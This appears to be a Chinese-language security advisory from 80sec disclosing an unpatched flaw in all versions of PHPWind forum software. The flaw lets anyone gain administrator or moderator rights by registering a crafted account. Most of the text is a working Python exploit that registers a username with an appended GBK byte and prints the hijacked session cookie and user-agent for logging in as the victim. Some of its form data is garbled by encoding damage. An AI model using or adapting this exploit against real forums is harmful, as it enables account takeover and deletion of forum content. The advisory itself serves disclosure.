[url]http://www.80sec.com/release/phpwind-exploit.txt[/url]

漏洞发布: [url]http://www.80sec.com/[/url]

漏洞作者: [email]jianxin@80sec.com[/email]

漏洞厂商: [url]http://www.phpwind.com/[/url]
    PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问
速度和卓越的负载能力而深受国内外朋友的喜爱。
    本漏洞影响phpwind所有版本

漏洞危害:高

漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作

利用方式: [url]http://www.80sec.com[/url]有提供exploit

漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致在程序逻辑上判断有问题,用精心构造的数据注册用户即可获得管理权限

漏洞修补:建议关闭注册功能等待官方出补丁

漏洞状态:08.5.25发现此漏洞
    08.6.1由80sec.com公开此漏洞
    暂无补丁

漏洞测试:

[code]
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)


def banner():
    print ""
    print "########################################################"
    print "Phpwind所有版本管理权限泄露漏洞利用poc"
    print "Copyright (C) 2006"
    print " [email]jianxin@80sec.com[/email]"
    print "80sec是一个新的致力于web安全的小团体"
    print " [url]http://www.80sec.com[/url]"

def usage():
    banner()
    print "Usage:\n"
    print " $ ./phpwind.py pwforumurl usertoattack\n"
    print " pwforumurl 目标论坛地址如 [url]http://www.80sec.com/[/url]"
    print " usertoattack 目标拥有权限的斑竹或管理员"
    print " ***结果将会在目标论坛注册一个和目标用户一样的帐户"
    print " 最新版本可以使用uid登陆"
    print " 其他版本可以使用cookie+useragent登陆"
    print "########################################################"
    print ""


argvs=sys.argv
usage()


data = "regname=%s
% s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2"
% (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
  url = pwurl ,
        headers = {'Content-Type' : 'application/x-www-form-
urlencoded','User-Agent': '80sec owned this'},
        data = data)

f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
  if cookie.index('winduser'):
    print "Exploit Success!"
    print "Login with uid password @80sec or Cookie:"
    print cookie
    print "User-agent: 80sec owned this"
except:
  print "Error! [url]http://www.80sec.com[/url]"
  print "Connect root#80sec.com"
[/code]